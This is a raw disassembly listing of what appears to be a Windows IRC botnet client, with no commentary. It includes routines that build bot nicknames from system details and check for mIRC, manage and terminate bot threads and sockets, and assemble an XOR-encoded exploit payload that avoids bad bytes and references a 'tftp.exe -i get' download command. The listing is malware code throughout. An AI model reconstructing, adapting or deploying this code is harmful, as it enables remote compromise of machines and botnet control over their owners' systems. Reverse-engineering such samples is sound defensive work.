call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4F5398 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_448018
push 1Ch
push edi
call sub_41EC30
xor esi, esi
add esp, 10h
cmp ds:dword_43F09C, esi
jle short loc_40B1D7
loc_40B1B1: ; CODE XREF: _0:0040B1D5j
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_44801C
push 1Ch
push edi
call sub_41EC30
add esp, 14h
inc esi
cmp esi, ds:dword_43F09C
jl short loc_40B1B1
loc_40B1D7: ; CODE XREF: _0:0040B1AFj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_4E3108
mov dword ptr [ebp-94h], 94h
call ds:dword_4F539C ; GetVersionExA
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40B261
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40B241
cmp dword ptr [ebp-84h], 1
jnz short loc_40B231
mov esi, offset dword_448024
loc_40B231: ; CODE XREF: _0:0040B22Aj
cmp dword ptr [ebp-84h], 2
jnz short loc_40B29D
mov esi, offset dword_448028
jmp short loc_40B29D
; ---------------------------------------------------------------------------
loc_40B241: ; CODE XREF: _0:0040B221j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40B251
mov esi, offset dword_44802C
jmp short loc_40B29D
; ---------------------------------------------------------------------------
loc_40B251: ; CODE XREF: _0:0040B248j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40B298
mov esi, offset dword_448030
jmp short loc_40B29D
; ---------------------------------------------------------------------------
loc_40B261: ; CODE XREF: _0:0040B218j
cmp dword ptr [ebp-90h], 5
jnz short loc_40B298
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40B27A
mov esi, offset dword_448034
jmp short loc_40B29D
; ---------------------------------------------------------------------------
loc_40B27A: ; CODE XREF: _0:0040B271j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40B28A
mov esi, offset dword_448038
jmp short loc_40B29D
; ---------------------------------------------------------------------------
loc_40B28A: ; CODE XREF: _0:0040B281j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_44803C
jz short loc_40B29D
loc_40B298: ; CODE XREF: _0:0040B258j _0:0040B268j
mov esi, offset dword_448040
loc_40B29D: ; CODE XREF: _0:0040B238j _0:0040B23Fj ...
mov edi, [ebp+8]
push esi
push offset dword_448044
push 1Ch
push edi
call sub_41EC30
xor esi, esi
add esp, 10h
cmp ds:dword_43F09C, esi
jle short loc_40B2E1
loc_40B2BB: ; CODE XREF: _0:0040B2DFj
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_44804C
push 1Ch
push edi
call sub_41EC30
add esp, 14h
inc esi
cmp esi, ds:dword_43F09C
jl short loc_40B2BB
loc_40B2E1: ; CODE XREF: _0:0040B2B9j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2E7 proc near ; CODE XREF: sub_40B38F+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_40B336
push offset aMirc_0 ; "mIRC"
call ds:dword_4E2FD4 ; FindWindowA
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_40B31F
mov eax, offset byte_4E3109
loc_40B31F: ; CODE XREF: sub_40B2E7+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41EC30
add esp, 14h
jmp short loc_40B35B
; ---------------------------------------------------------------------------
loc_40B336: ; CODE XREF: sub_40B2E7+1Dj
push offset aMirc_1 ; "mIRC"
call ds:dword_4E2FD4 ; FindWindowA
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_40B34F
mov eax, offset word_4E310A
loc_40B34F: ; CODE XREF: sub_40B2E7+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_40B35B: ; CODE XREF: sub_40B2E7+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41BC70
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B38A
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41FAC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41E510
add esp, 18h
loc_40B38A: ; CODE XREF: sub_40B2E7+82j
mov eax, [ebp+arg_0]
leave
retn
sub_40B2E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B38F proc near ; CODE XREF: sub_4019A5+7Fp
; sub_401B0B+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40B398: ; CODE XREF: sub_40B38F+40j
cmp [ebp+arg_C], 0
jz short loc_40B3B6
lea eax, aReal[esi] ; "real"
push eax
push [ebp+arg_C]
call sub_41F7E0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B3C4
; ---------------------------------------------------------------------------
loc_40B3B6: ; CODE XREF: sub_40B38F+Dj
mov ecx, ds:dword_444314[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B3C4: ; CODE XREF: sub_40B38F+25j
test eax, eax
jnz short loc_40B3D3
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40B398
jmp short loc_40B3E1
; ---------------------------------------------------------------------------
loc_40B3D3: ; CODE XREF: sub_40B38F+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_444318[eax*4]
pop ecx
loc_40B3E1: ; CODE XREF: sub_40B38F+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B3F4
push [ebp+arg_0]
call sub_40B2E7
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B3F4: ; CODE XREF: sub_40B38F+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B38F endp
; =============== S U B R O U T I N E =======================================
sub_40B3F9 proc near ; CODE XREF: sub_40B419+Ap
; sub_40B4F1+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41BC70
push [esp+8+arg_4]
mov esi, eax
call sub_41BC70
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B3F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B419 proc near ; CODE XREF: _0:0040B551p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B3F9
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B436
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B436: ; CODE XREF: sub_40B419+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41BC70
push [ebp+arg_C]
mov esi, eax
call sub_41BC70
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov ds:dword_44810C, eax
lea eax, [edi+1]
mov ds:dword_44812D, eax
lea eax, [edi+17h]
mov ds:dword_448125, eax
pop eax
push 74h
sub eax, edi
push offset dword_4480A8
push ebx
mov ds:dword_44813B, eax
call sub_41FBF0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41FBF0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41FBF0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41FBF0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41FBF0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41FBF0
add esi, edi
push 38h
add esi, ebx
push offset byte_448131
push esi
call sub_41FBF0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B419 endp
; =============== S U B R O U T I N E =======================================
sub_40B4F1 proc near ; CODE XREF: _0:0040B515p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B3F9
push eax
call sub_40B575
add esp, 0Ch
retn
sub_40B4F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push edi
mov edi, [ebp+14h]
push edi
push ebx
call sub_40B4F1
cmp eax, [ebp+0Ch]
pop ecx
pop ecx
ja short loc_40B528
cmp eax, 0FFFFh
jbe short loc_40B52C
loc_40B528: ; CODE XREF: _0:0040B51Fj
xor eax, eax
jmp short loc_40B571
; ---------------------------------------------------------------------------
loc_40B52C: ; CODE XREF: _0:0040B526j
push esi
push edi
push ebx
call sub_40B3F9
add eax, 101h
push eax
call sub_41BE40
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B3F9
pop ecx
pop ecx
push eax
push esi
call sub_40B419
push eax
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B590
push esi
mov edi, eax
call sub_41C9D0
add esp, 24h
mov eax, edi
pop esi
loc_40B571: ; CODE XREF: _0:0040B52Aj
pop edi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_40B575 proc near ; CODE XREF: sub_40B4F1+Ep
; sub_40B590+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B57E
inc ecx
loc_40B57E: ; CODE XREF: sub_40B575+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B575 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B590 proc near ; CODE XREF: _0:0040B55Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_40B5AA
cmp dl, 0Dh
jz short loc_40B5AA
cmp dl, 5Ch
jz short loc_40B5AA
test dl, dl
jnz short loc_40B5AE
loc_40B5AA: ; CODE XREF: sub_40B590+Aj
; sub_40B590+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_40B5AE: ; CODE XREF: sub_40B590+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_40B5D6
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_40B5CD
cmp al, 0Dh
jz short loc_40B5CD
cmp al, 5Ch
jz short loc_40B5CD
test al, al
jnz short loc_40B5D6
loc_40B5CD: ; CODE XREF: sub_40B590+2Fj
; sub_40B590+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_40B5D6: ; CODE XREF: sub_40B590+26j
; sub_40B590+3Bj
push edx
call sub_40B575
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B5EC
cmp eax, 0FFFFh
jbe short loc_40B5F3
loc_40B5EC: ; CODE XREF: sub_40B590+53j
xor eax, eax
jmp loc_40B68E
; ---------------------------------------------------------------------------
loc_40B5F3: ; CODE XREF: sub_40B590+5Aj
push ebx
mov bl, ds:byte_4E310C
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_40B620
loc_40B604: ; CODE XREF: sub_40B590+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_40B617
cmp al, 0Ah
jz short loc_40B617
cmp al, 0Dh
jz short loc_40B617
cmp al, 5Ch
jnz short loc_40B61B
loc_40B617: ; CODE XREF: sub_40B590+79j
; sub_40B590+7Dj ...
inc bl
xor ecx, ecx
loc_40B61B: ; CODE XREF: sub_40B590+85j
inc ecx
cmp ecx, edx
jb short loc_40B604
loc_40B620: ; CODE XREF: sub_40B590+72j
cmp edx, esi
mov ds:byte_4E310C, bl
ja short loc_40B64C
push 15h
push offset loc_448090
push [ebp+arg_0]
mov ds:byte_44809D, dl
mov ds:byte_4480A1, bl
call sub_41FBF0
add esp, 0Ch
push 15h
jmp short loc_40B66D
; ---------------------------------------------------------------------------
loc_40B64C: ; CODE XREF: sub_40B590+98j
push 17h
push offset loc_448078
push [ebp+arg_0]
mov ds:word_448086, dx
mov ds:byte_44808B, bl
call sub_41FBF0
add esp, 0Ch
push 17h
loc_40B66D: ; CODE XREF: sub_40B590+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B689
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B67B: ; CODE XREF: sub_40B590+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B67B
loc_40B689: ; CODE XREF: sub_40B590+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B68E: ; CODE XREF: sub_40B590+5Ej
pop esi
leave
retn
sub_40B590 endp
; =============== S U B R O U T I N E =======================================
sub_40B691 proc near ; CODE XREF: sub_401404+366p
; sub_401404+3A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_455D00
loc_40B699: ; CODE XREF: sub_40B691+18j
cmp byte ptr [eax], 0
jz short loc_40B6AD
add eax, 234h
inc edi
cmp eax, offset dword_4E2D00
jl short loc_40B699
jmp short loc_40B6F8
; ---------------------------------------------------------------------------
loc_40B6AD: ; CODE XREF: sub_40B691+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_455D00[esi]
push eax
call sub_41E510
mov eax, [esp+14h+arg_4]
and ds:dword_455F04[esi], 0
and ds:dword_455F08[esi], 0
mov ds:dword_455F00[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and ds:byte_455F18[esi], 0
mov ds:dword_455F0C[esi], eax
pop esi
loc_40B6F8: ; CODE XREF: sub_40B691+1Aj
mov eax, edi
pop edi
retn
sub_40B691 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6FC proc near ; DATA XREF: sub_401C87+2949o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B74E
push [ebp+var_14]
call sub_40B9A7
add esp, 14h
push 0
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_40B6FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B74E proc near ; CODE XREF: sub_40B6FC+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_44816C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
xor edi, edi
mov esi, offset dword_455D00
loc_40B778: ; CODE XREF: sub_40B74E+78j
cmp byte ptr [esi], 0
jz short loc_40B7B9
cmp [ebp+arg_C], 0
jnz short loc_40B78C
cmp dword ptr [esi+204h], 0
jnz short loc_40B7B9
loc_40B78C: ; CODE XREF: sub_40B74E+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset dword_448180
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 24h
loc_40B7B9: ; CODE XREF: sub_40B74E+2Dj
; sub_40B74E+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4E2D00
jl short loc_40B778
pop edi
pop esi
leave
retn
sub_40B74E endp
; =============== S U B R O U T I N E =======================================
sub_40B7CC proc near ; CODE XREF: sub_401C87+7C16p
; sub_40B854+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B84E
cmp esi, 400h
jge short loc_40B84E
imul esi, 234h
push edi
push ebx
lea edi, dword_455F14[esi]
push dword ptr [edi]
call ds:dword_4F5380 ; TerminateThread
cmp [edi], ebx
jz short loc_40B7FE
inc ebp
loc_40B7FE: ; CODE XREF: sub_40B7CC+2Fj
mov [edi], ebx
lea edi, dword_455F08[esi]
mov ds:dword_455F00[esi], ebx
mov ds:dword_455F04[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B81F
push eax
call sub_41A652
pop ecx
loc_40B81F: ; CODE XREF: sub_40B7CC+4Aj
mov [edi], ebx
lea edi, dword_455F0C[esi]
mov byte ptr ds:dword_455D00[esi], bl
mov ds:byte_455F18[esi], bl
push dword ptr [edi]
call ds:dword_4E3060 ; closesocket
lea esi, dword_455F10[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
mov [esi], ebx
pop edi
loc_40B84E: ; CODE XREF: sub_40B7CC+Dj
; sub_40B7CC+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B7CC endp
; =============== S U B R O U T I N E =======================================
sub_40B854 proc near ; CODE XREF: sub_401300+18p
; sub_401404:loc_401991p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_455D00
loc_40B860: ; CODE XREF: sub_40B854+2Aj
cmp byte ptr [esi], 0
jz short loc_40B871
push edi
call sub_40B7CC
test eax, eax
pop ecx
jz short loc_40B871
inc ebx
loc_40B871: ; CODE XREF: sub_40B854+Fj
; sub_40B854+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4E2D00
jl short loc_40B860
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B854 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B886 proc near ; CODE XREF: sub_401C87+4169p
; sub_401C87+42B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_455F04
loc_40B89A: ; CODE XREF: sub_40B886+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B8BC
test edi, edi
jle short loc_40B8AE
cmp [esi], edi
jz short loc_40B8AE
cmp ebx, edi
jnz short loc_40B8BC
loc_40B8AE: ; CODE XREF: sub_40B886+1Ej
; sub_40B886+22j
push ebx
call sub_40B7CC
test eax, eax
pop ecx
jz short loc_40B8BC
inc [ebp+var_4]
loc_40B8BC: ; CODE XREF: sub_40B886+1Aj
; sub_40B886+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4E2F04
jl short loc_40B89A
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B886 endp
; =============== S U B R O U T I N E =======================================
sub_40B8D3 proc near ; CODE XREF: sub_401404+3FAp
; sub_401C87+93Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_455F00
loc_40B8DA: ; CODE XREF: sub_40B8D3+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B8E3
inc eax
loc_40B8E3: ; CODE XREF: sub_40B8D3+Dj
add ecx, 234h
cmp ecx, offset dword_4E2F00
jl short loc_40B8DA
retn
sub_40B8D3 endp
; =============== S U B R O U T I N E =======================================
sub_40B8F2 proc near ; CODE XREF: sub_401C87+23E1p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_455F00
push esi
loc_40B8FC: ; CODE XREF: sub_40B8F2+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B915
add ecx, 234h
inc edx
cmp ecx, offset dword_4E2F00
jl short loc_40B8FC
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B915: ; CODE XREF: sub_40B8F2+10j
mov eax, edx
pop esi
retn
sub_40B8F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B919 proc near ; CODE XREF: sub_401C87+1017p
; sub_401C87+121Dp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B932
push [ebp+arg_1C]
call sub_41E710
pop ecx
loc_40B932: ; CODE XREF: sub_40B919+Ej
push eax
push [ebp+arg_18]
call sub_40B886
pop ecx
test eax, eax
pop ecx
jle short loc_40B95E
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41EA60
add esp, 14h
jmp short loc_40B978
; ---------------------------------------------------------------------------
loc_40B95E: ; CODE XREF: sub_40B919+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41EA60
add esp, 10h
loc_40B978: ; CODE XREF: sub_40B919+43j
cmp [ebp+arg_C], 0
jnz short loc_40B998
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_40B998: ; CODE XREF: sub_40B919+63j
lea eax, [ebp+var_200]
push eax
call sub_415A3C
pop ecx
leave
retn
sub_40B919 endp
; =============== S U B R O U T I N E =======================================
sub_40B9A7 proc near ; CODE XREF: sub_4019A5+154p
; sub_40B6FC+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_455F14[eax], ecx
mov ds:dword_455F00[eax], ecx
mov ds:dword_455F04[eax], ecx
mov ds:dword_455F08[eax], ecx
mov ds:dword_455F0C[eax], ecx
mov ds:dword_455F10[eax], ecx
mov byte ptr ds:dword_455D00[eax], cl
mov ds:byte_455F18[eax], cl
retn
sub_40B9A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9E4 proc near ; CODE XREF: sub_401C87+7E9Dp
; sub_40BB0C+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40BA46
; ---------------------------------------------------------------------------
loc_40B9F0: ; CODE XREF: sub_40B9E4+66j
cmp eax, 1
jnz short loc_40BA57
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40BA57
cmp cl, 2Ah
jz short loc_40BA2F
cmp cl, 3Fh
jz short loc_40BA14
cmp cl, 5Bh
jz short loc_40BA19
xor eax, eax
cmp cl, dl
setz al
loc_40BA14: ; CODE XREF: sub_40B9E4+22j
inc [ebp+arg_4]
jmp short loc_40BA42
; ---------------------------------------------------------------------------
loc_40BA19: ; CODE XREF: sub_40B9E4+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40BA78
mov esi, [ebp+arg_0]
jmp short loc_40BA40
; ---------------------------------------------------------------------------
loc_40BA2F: ; CODE XREF: sub_40B9E4+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40BB0C
mov esi, [ebp+arg_0]
dec esi
loc_40BA40: ; CODE XREF: sub_40B9E4+49j
pop ecx
pop ecx
loc_40BA42: ; CODE XREF: sub_40B9E4+33j
inc esi
mov [ebp+arg_0], esi
loc_40BA46: ; CODE XREF: sub_40B9E4+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B9F0
jmp short loc_40BA57
; ---------------------------------------------------------------------------
loc_40BA4E: ; CODE XREF: sub_40B9E4+76j
cmp eax, 1
jnz short loc_40BA73
inc esi
mov [ebp+arg_0], esi
loc_40BA57: ; CODE XREF: sub_40B9E4+Fj
; sub_40B9E4+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40BA4E
cmp eax, 1
jnz short loc_40BA73
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40BA73
cmp byte ptr [esi], 0
jnz short loc_40BA73
xor eax, eax
inc eax
jmp short loc_40BA75
; ---------------------------------------------------------------------------
loc_40BA73: ; CODE XREF: sub_40B9E4+6Dj
; sub_40B9E4+7Bj ...
xor eax, eax
loc_40BA75: ; CODE XREF: sub_40B9E4+8Dj
pop esi
pop ebp
retn
sub_40B9E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA78 proc near ; CODE XREF: sub_40B9E4+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40BA99
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40BA99: ; CODE XREF: sub_40BA78+19j
push ebx
push esi
loc_40BA9B: ; CODE XREF: sub_40BA78+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40BAA9
cmp [ebp+var_4], eax
jnz short loc_40BAF1
loc_40BAA9: ; CODE XREF: sub_40BA78+2Aj
test edi, edi
jnz short loc_40BAE6
cmp bl, 2Dh
jnz short loc_40BADA
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40BADA
cmp al, 5Dh
jz short loc_40BADA
cmp [ebp+var_4], edi
jnz short loc_40BADA
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40BAE6
cmp bl, al
jg short loc_40BAE6
mov [edx], esi
jmp short loc_40BAE3
; ---------------------------------------------------------------------------
loc_40BADA: ; CODE XREF: sub_40BA78+38j
; sub_40BA78+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40BAE6
loc_40BAE3: ; CODE XREF: sub_40BA78+60j
xor edi, edi
inc edi
loc_40BAE6: ; CODE XREF: sub_40BA78+33j
; sub_40BA78+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40BA9B
; ---------------------------------------------------------------------------
loc_40BAF1: ; CODE XREF: sub_40BA78+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40BAFE
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40BAFE: ; CODE XREF: sub_40BA78+7Ej
cmp edi, eax
jnz short loc_40BB07
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40BB07: ; CODE XREF: sub_40BA78+88j
mov eax, edi
pop edi
leave
retn
sub_40BA78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB0C proc near ; CODE XREF: sub_40B9E4+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40BB3C
; ---------------------------------------------------------------------------
loc_40BB26: ; CODE XREF: sub_40BB0C+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40BB37
cmp dl, 2Ah
jnz short loc_40BB49
cmp dl, 3Fh
jnz short loc_40BB3A
loc_40BB37: ; CODE XREF: sub_40BB0C+1Fj
inc ecx
mov [edi], ecx
loc_40BB3A: ; CODE XREF: sub_40BB0C+29j
inc dword ptr [esi]
loc_40BB3C: ; CODE XREF: sub_40BB0C+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40BB26
jmp short loc_40BB49
; ---------------------------------------------------------------------------
loc_40BB46: ; CODE XREF: sub_40BB0C+40j
inc eax
mov [esi], eax
loc_40BB49: ; CODE XREF: sub_40BB0C+24j
; sub_40BB0C+38j
cmp byte ptr [eax], 2Ah
jz short loc_40BB46
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40BB6B
cmp [eax], bl
jz short loc_40BB5E
xor eax, eax
jmp short loc_40BBC8
; ---------------------------------------------------------------------------
